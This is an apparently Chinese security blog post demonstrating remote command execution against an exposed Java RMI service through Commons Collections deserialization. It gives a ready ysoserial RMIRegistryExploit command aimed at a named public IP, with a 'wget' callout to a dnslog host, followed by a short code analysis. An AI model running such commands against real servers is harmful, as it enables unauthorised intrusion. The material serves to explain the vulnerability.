Java RMI服務遠程命令執行利用

--------------------------------------------------------------

很長時間沒更新博客了,今天來一發。

--------------------------------------------------------------

 

0x00 介紹
Java RMI服務是遠程方法調用(Remote Method Invocation)。它是一種機制,能夠讓在某個java虛擬機上的對象調用另一個Java虛擬機的對象的方法。
在Java Web中,很多地方都會用到RMI來相互調用。比如很多大型組織都會在後臺部署一些Java應用,用於對外網站發佈更新的靜態頁面,而這種發佈命令的下達使用的就是這種RMI形式。
值得注意的是,RMI傳輸過程必然會使用序列化和反序列化,如果RMI服務端端口對外開發,並且服務端使用了像Apache Commons Collections這種庫,那麼會導致遠程命令執行。
首先來看利用。
 
0x01 漏洞利用
可以看到還是有很多案例的,這裏提取一個案例來演示:
場景:182.92.214.221服務器開放了1099端口(RMI服務的默認開放端口),且暴露在公網中,並且恰好使用了Apache Commons Collections的缺陷版本,我們需要在這臺服務器上執行命令。
工具:
(1)ysoserial-0.0.3-all.jar  
下載地址https://github.com/frohoff/ysoserial
(2)java環境
執行命令時,爲了驗證是否真正成功,我使用cloudeye來驗證:
上面的url是我的cloudeye的地址(打碼了)。
執行:
java -cp ysoserial-0.0.3-all.jar ysoserial.exploit.RMIRegistryExploit 43.224.227.176 1099  CommonsCollections1 "wget http://ddabcc.dnslog.info?hello"

雖然看到拋出異常了,但是我們的命令已經執行了,查看cloudeye:
 
0x02 簡單的分析
注意到漏洞利用中的命令行裏出現了ysoserial.exploit.RMIRegistryExploit,我就手賤去看了一下源碼,exp的邏輯很清晰,我加了些批註,如下圖:
 
看這個代碼片段,似乎是註冊RMI服務的過程中就被pwned了,反正原理很簡單。
具體可以看綠盟的這兩篇:
關於反序列化漏洞,之前我的博客上也有文進行分析,想要了解的同學可以翻出來看看。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章